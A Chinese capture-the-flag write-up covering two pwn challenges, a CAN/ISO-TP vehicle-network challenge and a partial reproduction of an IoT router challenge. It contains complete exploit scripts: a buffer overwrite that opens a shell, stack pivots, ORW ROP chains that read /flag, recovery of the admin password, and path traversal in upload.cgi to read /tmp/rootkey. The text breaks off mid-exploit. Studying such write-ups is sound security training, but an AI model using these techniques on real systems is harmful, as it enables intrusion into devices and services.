0x00 前言

SU天下第一!又蹭到了,贡献了一点点车联网,但是手慢+沙比了卡了挺久

0x01 题解

Pwn - babystack

int pwn()
{
char s[24]; // [rsp+0h] [rbp-120h] BYREF
char buf_[248]; // [rsp+18h] [rbp-108h] BYREF
__int64 n180097847; // [rsp+110h] [rbp-10h]

memset(s, 0, 0x110u);
n180097847 = 180097847;
printf("Enter your flag1:");
read(0, s, 0x18u);
printf("Enter your flag2:");
read(0, buf_, 0x100u);
printf("Nice!, %s, your flag2 is %s.\n", s, buf_);
if ( n180097847 != 20150972 )
return puts("you are a good boy.");
puts("you are also a good boy.");
return system("/bin/sh");
}

签到,第二次输入覆盖掉n180097847即可

from pwn import *
from ctypes import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/babystack'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so')

choice = 0x001
if choice:
p = remote("challenge.xctf.org.cn", 9999, ssl=True)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

sa('flag1:',b'a'*0x18)
debug()

sa('flag2:',b'a'*(0x108-0x10) + p64(0x1337abc))

itr()

Pwn - stack

沙箱

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

两次输入
alt textalt text第一次输入可以配合printf泄露栈地址alt text在第二次输入先栈迁移把下面的返回地址修改掉,然后再返回到第一次输入这里的printf这里,泄露出下面的libc_start_call_main, 继续稍微布置一下rbp,让程序执行到第二次read中,然后布置orw的rop链即可

from pwn import *
from ctypes import *
import struct

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/stack/pwn'
elf=ELF(file)
libc = ELF('/mnt/c/Users/Z2023/Desktop/stack/libc.so.6')

choice = 0x001
if choice:
p = remote("", 9999, ssl=True)
else:
p = process(file)


s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)


debug()
sa('Could you tell me your name?',b'a'*(0x10 -1) +b'b' )

ru('ab')
stack_addr = uu64(rl()[:-2].ljust(8,b'\x00')) + 8
leak('stack_addr')

payload = b'a'*0x60 + p64(stack_addr + 0x10 + 0x60 - 8) + p64(0x00000000004013D4)
sa('Any thing else?\n',payload)

pause()
payload = p64(0x00000000004013D4) + p64(stack_addr) + p64(0x00000000004013D4) + b'a'*(0x60-0x18) + p64(stack_addr + 0x10) + p64(0x000000000040139B)
s(payload)

ru('Hello, ')
libc_base = uu64(r(6).ljust(8,b'\x00')) - 0x29d90
libc.address = libc_base
leak('libc_base')

rdi = libc_os(0x000000000002a3e5)
rsi = libc_os(0x000000000002be51)
rdx = libc_os(0x000000000011f357) # pop rdx ; pop r12 ; ret

payload = b'/flag\x00\x00\x00'
payload += b'a' * 0x58 + p64(stack_addr + 0x100)
payload += b'a' * 0x10
payload += flat(
rdi,-1, rsi,stack_addr - 0x60, rdx, 0 , 0 ,libc.sym['openat'],
rdi, 3 , rsi , stack_addr + 0x200 , rdx , 0x50, 0x50, libc.sym['read'],
rdi, 1 , rsi , stack_addr + 0x200 , rdx , 0x50, 0x50, libc.sym['write']
)

pause()
s(payload)

itr()

车联网 - can

沙箱

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

大概分析一下逻辑,先是一个密码
alt text然后可以输入指令,但这上面这几个指令都没什么用。主要是下面的逻辑,我们可以发送3种类型的 ISO-TP 帧

  • SF - 单帧
  • FF - 首帧
    • 输入 1#10xxxx
  • CF - 连续帧
    • 连续输入 1#21...1#22...1#23... 到了f就再回到1

大概尝试了一下,可以利用处理 CF 帧的这个 if 判断来泄露 pie
alt text没细看处理的逻辑,但大概尝试了一下

sla('Enter magic number:\n','12803159')
sla('>','1#1020414141414141')
sla('>','1#2142424242424242')
sla('>','1#2243434343434343')
sla('>','1#2344444444444444')
sla('>','1#2445454545454545')
sla('>','1#2445454545454545')

就能执行到这个else分支,应该是输入的 CF 帧不合法导致的
值得注意的是这个函数
alt textmemcpy没有对长度进行判断,当满足条件的时候就会执行下面这个 p_sub_16E0, 存放在 buf_ + 0x100 的位置alt text可以先发送一个 FF 帧,例如:发送 1#1008..., 发这个帧是为了设定 ::n 的大小 , 由1#1后面的三个数字来决定,这个例子中 ::n 会被设定为 8。
泄露出 pie_base 之后需要重新设置 FF 帧,把ret写到开头,接着就利用 CF 帧的memcpy布置rop链来泄露libc。这里rop链的结构是

ret
puts(fgets_got)
pop_rbp_ret
bss_addr
.text:000000000000130F mov rdx, cs:stdin ; stream
.text:0000000000001316 mov esi, 200h ; n
.text:000000000000131B mov rdi, rbp ; s
.text:000000000000131E call _fgets

然后我们把 p_sub_16E0 覆盖成这个gadget push rdi ; pop rsp ; ret。
alt text因为执行 p_sub_16E0 之前寄存器的状态是这样的
alt text用这个gadget就能把栈迁移到bss段上,最后通过fgets的溢出来布置orw的rop链即可
大概泄露了一下远程的libcalt text

from pwn import *
from ctypes import *
import struct

context(arch='amd64', log_level = 'debug',os = 'linux')
file='./pwn'
elf=ELF(file)
libc = ELF('./libc6_2.39-0ubuntu8.6_amd64.so')
#
choice = 0x001
if choice:
p = remote("", 9999, ssl=True)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,gdbscript=cmd)

commend = '''
b *$rebase(0x0000000000001A6B)
b *$rebase(0x000000000000131E)
b _IO_getline
'''

sla('Enter magic number:\n','12803159')
sla('>','1#11ff414141414141')
sla('>','1#2445454545454545')

ru(' handler=')
pie_base = int(rl()[:-1],16) - 0x00000000000018C0
elf.address = pie_base
leak('pie_base')

ret = pie_base + 0x000000000000101a
ret_b = struct.pack('<Q', ret)

rdi = pie_base + 0x0000000000001557
rdi_b = struct.pack('<Q', rdi)

puts_got = elf.got.puts
puts_b = struct.pack('<Q', puts_got)

fgets_got = elf.got.fgets
fgets_b = struct.pack('<Q', fgets_got)

puts_plt = elf.plt.puts
puts_p = struct.pack('<Q', puts_plt)

set_puts = pie_base + 0x0000000000016F0
set_b = struct.pack('<Q', set_puts)

pop_rbp = pie_base + 0x0000000000001693
pop_rbp = struct.pack('<Q', pop_rbp)

main = pie_base + 0x000000000000130F
main_b = struct.pack('<Q', main)

input_addr = pie_base + 0x6088
input_addr = struct.pack('<Q', input_addr)

sla('>','1#10ff' + ret_b.hex()[:-4])
sla('>','1#21' +'00'*2 + rdi_b.hex()[:-6])
sla('>','1#22' + rdi_b.hex()[10:-4] + '00'*2 + fgets_b.hex()[:-8])
sla('>','1#23' + fgets_b.hex()[8:-4] + '00'*2 + puts_p.hex()[:-10])
sla('>','1#24' + puts_b.hex()[6:-4] + '00'*2 + pop_rbp.hex()[:-12])
sla('>','1#25' + pop_rbp.hex()[4:-4] + '00'*2 + input_addr.hex()[:-14])
sla('>','1#26' + input_addr.hex()[2:-4] + '00'*2)
sla('>','1#27' + main_b.hex()[:-4] + '00')

sla('>','1#28' + '00' + '454545454545')
sla('>','1#2945454545454545')

sla('>','1#2a45454545454545')
sla('>','1#2b45454545454545')
sla('>','1#2c45454545454545')
sla('>','1#2d45454545454545')
sla('>','1#2e45454545454545')
sla('>','1#2f45454545454545')

sla('>','1#2146464646464646')
sla('>','1#2246464646464646')
sla('>','1#2346464646464646')
sla('>','1#2446464646464646')
sla('>','1#2546464646464646')
sla('>','1#2646464646464646')
sla('>','1#2746464646464646')
sla('>','1#2846464646464646')
sla('>','1#2946464646464646')
sla('>','1#2a46464646464646')
sla('>','1#2b46464646464646')
sla('>','1#2c46464646464646')
sla('>','1#2d46464646464646')
sla('>','1#2e46464646464646')
sla('>','1#2f46464646464646')

sla('>','1#2147474747474747')
sla('>','1#2247474747474747')
sla('>','1#2347474747474747')
sla('>','1#2447474747474747')
sla('>','1#2547474747474747')
sla('>','1#264747474747')

gad = pie_base + 0x00000000000012d3 # push rdi ; pop rsp ; ret
gadge = struct.pack('<Q', gad)

# 后续是 p__puts_w

# debug(commend)
sla('>','1#27' + gadge.hex()[:-4])
fgets_addr = uu64(rl()[1:-1])

libc_base = fgets_addr - libc.sym['fgets']
libc.address = libc_base
leak('libc_base')

pause()
o = libc.sym['open']
r = libc.sym['read']
w = libc.sym['write']

rsi = pie_base + 0x0000000000001555
ret = pie_base + 0x000000000000101a
rbx = libc_os(0x00000000000586e4) # pop rbx ; ret
rdx = libc_os(0x00000000000b0133) # mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret

payload = p64(ret) *2
payload += flat(
rdi,pie_base + 0x6188,rsi,0,0,o,
rdi,3,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,r,
rdi,1,rsi,pie_base + 0x6288,0,rbx,0x100,rdx,0,0,0,w
)
payload += b'/flag\x00\x00\x00'
payload = payload.ljust(0x200,b'a')
sl(payload)

itr()

你可能会发现这题的wp与SU发的wp非常相似,因为那是也我写的^^

WIN!致敬mt (iot 1复现)

题目附件就给了这些, 当时有点懵懵的, 不知道怎么下手
后面才知道只要运行一下这个 boot.sh 就可以跑起来, 这里简单改改这个 sh , 方便后续操作,

sudo qemu-system-arm \
-M versatilepb \
-m 256 \
-kernel vmlinuz-3.2.0-4-versatile \
-initrd initrd.img-3.2.0-4-versatile \
-hda debian_wheezy_armel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyAMA0" \
-net nic -net user,hostfwd=tcp::8080-:80,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 \
-nographic \
-s

加一个 ssh 端口, 一个 gdb 用的端口, 跑起来之后登入密码在 readme.txt

username:root
password:root

经典找入口

root@debian-armel:~# netstat -nlap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:36175 0.0.0.0:* LISTEN 1562/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1524/rpcbind
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2235/lighttpd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2264/sshd
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 2291/exim4
tcp6 0 0 :::38123 :::* LISTEN 1562/rpc.statd
tcp6 0 0 :::111 :::* LISTEN 1524/rpcbind
tcp6 0 0 :::80 :::* LISTEN 2235/lighttpd
tcp6 0 0 :::22 :::* LISTEN 2264/sshd
tcp6 0 0 ::1:25 :::* LISTEN 2291/exim4
udp 0 0 0.0.0.0:68 0.0.0.0:* 1589/dhclient
udp 0 0 0.0.0.0:849 0.0.0.0:* 1524/rpcbind
udp 0 0 0.0.0.0:111 0.0.0.0:* 1524/rpcbind
udp 0 0 127.0.0.1:890 0.0.0.0:* 1562/rpc.statd
udp 0 0 0.0.0.0:30445 0.0.0.0:* 1589/dhclient
udp 0 0 0.0.0.0:34044 0.0.0.0:* 1562/rpc.statd
udp6 0 0 :::50700 :::* 1562/rpc.statd
udp6 0 0 :::22336 :::* 1589/dhclient
udp6 0 0 :::849 :::* 1524/rpcbind
udp6 0 0 :::111 :::* 1524/rpcbind
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 3645 1524/rpcbind /var/run/rpcbind.sock
unix 3 [ ] DGRAM 4035 1875/rsyslogd /dev/log
unix 2 [ ACC ] SEQPACKET LISTENING 2277 270/udevd /run/udev/control
unix 2 [ ] DGRAM 4400 2325/login
unix 3 [ ] STREAM CONNECTED 3815 1593/rpc.idmapd
unix 3 [ ] STREAM CONNECTED 3814 1593/rpc.idmapd
unix 3 [ ] DGRAM 2284 270/udevd
unix 3 [ ] DGRAM 2283 270/udevd
root@debian-armel:~# cd /etc/init.d
root@debian-armel:/etc/init.d# ls
atd kbd mtab.sh sendsigs
bootlogs keyboard-setup networking single
bootmisc.sh killprocs nfs-common skeleton
checkfs.sh kmod procps ssh
checkroot-bootclean.sh lighttpd rc udev
checkroot.sh motd rc.local udev-mtab
console-setup mountall-bootclean.sh rcS umountfs
cron mountall.sh README umountnfs.sh
exim4 mountdevsubfs.sh reboot umountroot
halt mountkernfs.sh rmnologin urandom
hostname.sh mountnfs-bootclean.sh rpcbind
hwclock.sh mountnfs.sh rsyslog

可以看到有一个 httpd 猜测是, 访问一下原本就暴露出来的 80 端口
是一个登入界面, 抓个包
session_check.cgi 是这个登入页面, 而账户密码验证逻辑在 auth.cgi 中, 找到对应的 elf dump 到宿主机中进行分析

scp -P 2222 root@127.0.0.1:/var/www/cgi-bin/auth.cgi .

Ida 启动

然后对 username 做一个过滤, 不能有 _, .-
这里应该是对登入失败做一个计数, 防爆破啥的?
从这个 stream_1 = fopen("/tmp/store/users.txt", "r"); 开始, 下面一大坨都是在做账户密码的验证, 从 /tmp/store/users.txt 中读取, 以 : 隔断, /tmp/store/users.txt 的内容如下

root@debian-armel:~# cat /tmp/store/users.txt
admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==

Username 应该没做加密, 直接与硬编码做比较, 而 password 一看就经过加密了
先是循环异或, 然后是一个标准的 base64
简单写一个解密脚本

import base64

s = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA=="

decoded_bytes = base64.b64decode(s)
key = "N1K_ROUT3R"
passwd = ""
for i in range(len(decoded_bytes)):
passwd += chr(decoded_bytes[i] ^ ord(key[i % 10]))

print(passwd)
# 8g323##a08h33zx33@!B!$$$$$$$

使用 admin & 8g323##a08h33zx33@!B!$$$$$$$ 即可成功登入
登入之后有很多功能, 需要一个一个去看, 这里选择先从 ping 开始, 因为 ping 功能一般会涉及到一些命令执行, 会用到 system 这样的函数
Ping 功能对应的是 manage.cgi, dump 下来慢慢看

scp -P 2222 root@127.0.0.1:/var/www/cgi-bin/manage.cgi ~/dt

… 没想到这个输出是一个硬编码
看来没有 system 这么简单, 再仔细分析一下吧, 找了一下引用
是个静态的功能路由表, 所有功能都在这个 elf 里面了, 实在太多了看不过来, 直接上 mcp 让 codex 大人帮我看, 经过 codex 大人的一番逆向之后, 发现在 sub_969C(); 中有这样的问题
先是一个小混淆, tv.tv_usec & 1 要么 0 要么 1, 最后还是调用 sub_9FD0, 继续跟进
这里也是一个同款小混淆, (((unsigned __int8)n16 ^ 0x13) & 1) 无非也就是 0 或 1, 最后也是去 sub_96E8 , 继续跟进
分为 1 和非 1 的分支, 非 1 是个 memcpy
但其实仔细逆向过 1 的分支也是个 memcpy, 只是遇到 \x00 就停止, 可以这样理解 1 分支

for (i = 1; i < n; i++) {
b = src[i];
state ^= b;
dst[i] = b;

if (b == 0) break; // 遇到 NUL 提前结束
}

注意到传入的第三个参数是 unsigned int n768 , 但是
n16 是个 int 类型的变量, 传入的第一个参数是个临时变量, 在栈上, 搭配上这个 memcpy 可以造成栈溢出, 那么要让程序走到这里的前置条件是

  • main 里要让参数 rk 等于 /tmp/rootkey 文件内容(去掉换行后比较相等),才会调用 sub_969C -> sub_9FD0。
  • /tmp/store/id.txt 存在且可读。
  • 读出的前几字节能解析成整数 n16。
  • N16 != 0 且 n16 <= 16(按汇编看是有符号比较,所以负数也可以通过)。

Ok 那我们就要看看怎么得到这个 /tmp/rootkey 的内容

root@debian-armel:~# ls /tmp/
store

这个文件默认是不存在的, 所以需要先找到创建这个文件的服务

root@debian-armel:~# cd /var/www/cgi-bin
root@debian-armel:/var/www/cgi-bin# grep -r "rootkey" ./
Binary file ./watch matches
Binary file ./manage.cgi matches

先看看还有哪个 cgi 有用到这个字符串, 照旧把这个 elf dump 下来, 丢到 ida 中看看
主要是三个部分, 第一个是 fd_1 = open((const char *)s, 577, 384);
open 的第二个参数有以下模式:

  • O_WRONLY (0x1) — 只写模式。
  • O_CREAT (0x40) — 如果文件不存在则创建它。
  • O_EXCL (0x80) — 与 O_CREAT 配合使用。如果文件已经存在,则 open 失败(返回 -1)。这是一种安全机制,防止竞争条件。
  • O_TRUNC (0x200) — 如果文件已存在且成功打开,则将其长度截断为 0。

$0x1 | 0x40 | 0x80 | 0x200 = 0x241 也就是 557, 这里做的是以“只写”方式创建文件。如果文件已经存在,则报错. 创建文件之后写入不可逆向的内容, 共 64 字节, 最后重命名, 赋予 0600 权限.

创建文件的部分搞定了, 接下来就是想办法泄露, 在茫茫大海中不断寻找, 最终在 upload.cgi 中找到了这样一段
这里的 snprintf((char *)stat_buf, 0x60u, "/tmp/%s", s_5); 可以做一个目录穿越.
但首先得绕过

!sub_9CCC(s_5, (int (__fastcall *)(char *))sub_985C, sub_99E0) && sub_9D40(s_5, "nik.gif")

简单分析了一波

  • sub_9CCC 要求的是 path 必须只由 [A-Za-z0-9./] 组成,且不能含 s/S,并且所有 . 的后继字符必须是 g 或 /
  • sub_9D40 强制要求必须以 nik.gif 结尾

snprintf 最多拼接 0x60 个字节, 而多个 / 会当成一个 / 处理, 就像这样

li1nkle@liiinkle:~/pwn$ cat /////////////////////////////////////////flag
flag{local_test_flag_aaaaaaaAAAAAAAAA}
li1nkle@liiinkle:~/pwn$ ls / | grep flag
flag

我们可以构造出这样一个路径 //(中间省略...)/rootkey(前面共0x60字节).nik.gif, 这样实际拼接出来的路径就是 /tmp//(中间省略...)/rootkey.
测试发现貌似不行, 换成 ./ 就可以, 实际上是 /tmp/./(中间省略...)./rootkey

发送的 payload 的 header 以及设置 sid 的部分来自 [原创] 第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬 mt 复现

from pwn import *
import requests
from urllib.parse import quote_plus
import re
import asyncio

mysession = None
mysid = None
base_url = "http://127.0.0.1:8080"

headers = {
"Host": "127.0.0.1:8080",
"sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"macOS"',
"Upgrade-Insecure-Requests": "1",
"Origin": "http://127.0.0.1:8080",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "http://127.0.0.1:8080/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}

def set_session_cookies():
if mysid:
mysession.cookies.set("SID", mysid)
mysession.cookies.set(
"mitmproxy-auth",
'2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|'
'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5'
)
else:
print("SID setting failed")
exit(1)

def send_post(url, data):
set_session_cookies()
resp = mysession.post(base_url + url, headers=headers, data=data)
return resp.text

def send_get(url, params):
set_session_cookies()
resp = mysession.get(base_url + url, headers=headers, params=params)
return resp.text

def login(username="admin", password="8g323##a08h33zx33@!B!$$$$$$$"):
global mysession, mysid

url = "/cgi-bin/auth.cgi"
mysession = requests.Session()

data = f"username={quote_plus(username)}&password={quote_plus(password)}"
resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False)

mysid = mysession.cookies.get("SID")
if not mysid:
print("failed")
mysession = None
return False

print(f"sucess, SID = {mysid}")
return True



login()
send_get("/cgi-bin/watch", {})
need_to_minus = len("/tmp/"+"rootkey") + 1
# file_path = "/"*(0x60 - len("rootkey")) + "rootkeynik.gif"
file_path = "./" * ((0x60-need_to_minus)//2) + "/" + "rootkeynik.gif"

payload = {
"action": "download",
"path": file_path,
}
rootkey = send_post("/cgi-bin/upload.cgi", payload)
print("rootkey: " + rootkey)

我们就得到了 rootkey 的内容
```bash
root@debian-armel:# cat /tmp/rootkey
EX+N$0G<LoW\8s{4LVHWFg’,4B_GSQ,
EML;+a”S%/3WuoL,Ji6MJ6(t;SIPPX^`

回到前面的说的 n16 造成的栈溢出问题, 现在要做的是要让 n768 为负数, 简单找一下怎么做
![](/image/qwnt/20260427203431.png)`n768` 来自 `n768= v13 * v10;`, 而 `v10` 只会为 `1` 或 `-1`
![](/image/qwnt/20260427203703.png)那 `v13` 呢, `v13` 来自 `v15`
![](/image/qwnt/20260427203802.png)`v15` 受 `buf3` 影响, 然后 `buf3` 又受 `p_buf_1` 影响
![](/image/qwnt/20260427203846.png)`p_buf1` 又是来自 `/tmp/store/id.txt` 的
![](/image/qwnt/20260427203941.png)中间这一大坨的功能大概是
1. 先从 `/tmp/store/id.txt` 读最多 7 字节到栈上
2. 手工解析成整数 n16(支持前导空白、+/-、连续数字)
所以我们需要找到能设置 `/tmp/store/id.txt` 的 cgi, 老样子
```bash
root@debian-armel:/var/www/cgi-bin# grep -r "/tmp/store/id.txt"
Binary file manage.cgi matches
Binary file lang.cgi matches

马上去 lang.cgi 看看
这里有对 /tmp/store/id.txt 写入的逻辑, 简单逆向一下这个 cgi

  • 先写临时文件:/tmp/store/id.txt.tmp.lang.<pid>
  • open (…, O_WRONLY|O_CREAT|O_TRUNC, 0600)
  • fsync + rename 到 /tmp/store/id.txt
  • 最后 chmod ("/tmp/store/id.txt", 0644)
  • 写入内容是 setid + \n

所以要控制这个文件的内容的话, 用有效的 SID 请求 /cgi-bin/lang.cgi?setid=aaa 就行了, 马上来试试

from pwn import *
import requests
from urllib.parse import quote_plus
import re
import asyncio

mysession = None
mysid = None
base_url = "http://127.0.0.1:8080"

headers = {
"Host": "127.0.0.1:8080",
"sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"macOS"',
"Upgrade-Insecure-Requests": "1",
"Origin": "http://127.0.0.1:8080",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "http://127.0.0.1:8080/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}

def set_session_cookies():
if mysid:
mysession.cookies.set("SID", mysid)
mysession.cookies.set(
"mitmproxy-auth",
'2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|'
'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5'
)
else:
print("SID setting failed")
exit(1)

def send_post(url, data):
set_session_cookies()
resp = mysession.post(base_url + url, headers=headers, data=data)
return resp.text

def send_get(url, params):
set_session_cookies()
resp = mysession.get(base_url + url, headers=headers, params=params)
return resp.text

def login(username="admin", password="8g323##a08h33zx33@!B!$$$$$$$"):
global mysession, mysid

url = "/cgi-bin/auth.cgi"
mysession = requests.Session()

data = f"username={quote_plus(username)}&password={quote_plus(password)}"
resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False)

mysid = mysession.cookies.get("SID")
if not mysid:
print("failed")
mysession = None
return False

print(f"sucess, SID = {mysid}")
return True



login()
send_get("/cgi-bin/lang.cgi",{"setid":"-1"})

发送请求后到 qemu 中查看

root@debian-armel:/var/www/cgi-bin# cat /tmp/store/id.txt 
-1

可以看到赋值成功, 接下来就尝试去利用这个栈溢出来 RCE 了, 先回到 manage.cgi
还是这里, 第二次 sub_96E8 可以造成栈溢出, ptr 来自前面的 s_0, 大概找了一下
在这个 action 中
而这里对 s_0 的写入又涉及 /tmp/store/publicfile.txt , 这个文件默认是不存在的
所以要找到哪里创建了这个文件, 老样子 grep 大法

root@debian-armel:/var/www/cgi-bin# grep -r "/tmp/store/publicfile.txt" ./
Binary file ./upload.cgi matches
Binary file ./manage.cgi matches

在 upload.cgi, 马上看一眼
熟悉的 open 参数, write 的第二个参数是 ptr_1
上面这一坨应该是做了个取值和简单过滤, /tmp/store/publicfile.txt 的值是来自 filecontent 的, 来简单试试对 upload 做请求, 往 publicfile.txt 文件中写入内容

from pwn import *
import requests
from urllib.parse import quote_plus
import re
import asyncio

mysession = None
mysid = None
base_url = "http://127.0.0.1:8080"

headers = {
"Host": "127.0.0.1:8080",
"sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"macOS"',
"Upgrade-Insecure-Requests": "1",
"Origin": "http://127.0.0.1:8080",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Referer": "http://127.0.0.1:8080/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "close"
}

def set_session_cookies():
if mysid:
mysession.cookies.set("SID", mysid)
mysession.cookies.set(
"mitmproxy-auth",
'2|1:0|10:1745484849|14:mitmproxy-auth|4:eQ==|'
'bcade3a9f1b37c48d9c3d670a0d91c2524f01452c91ba02f80c059c1a5c1b0a5'
)
else:
print("SID setting failed")
exit(1)

def send_post(url, data):
set_session_cookies()
resp = mysession.post(base_url + url, headers=headers, data=data)
return resp.text

def send_get(url, params):
set_session_cookies()
resp = mysession.get(base_url + url, headers=headers, params=params)
return resp.text

def login(username="admin", password="8g323##a08h33zx33@!B!$$$$$$$"):
global mysession, mysid

url = "/cgi-bin/auth.cgi"
mysession = requests.Session()

data = f"username={quote_plus(username)}&password={quote_plus(password)}"
resp = mysession.post(base_url + url, headers=headers, data=data, allow_redirects=False)

mysid = mysession.cookies.get("SID")
if not mysid:
print("failed")
mysession = None
return False

print(f"sucess, SID = {mysid}")
return True



login()
texta = b'b' * 0x40
payload = {
"action": "upload_pubkey",
"filecontent": texta,
}
send_post("/cgi-bin/upload.cgi", payload)

验证一下是否成功写入

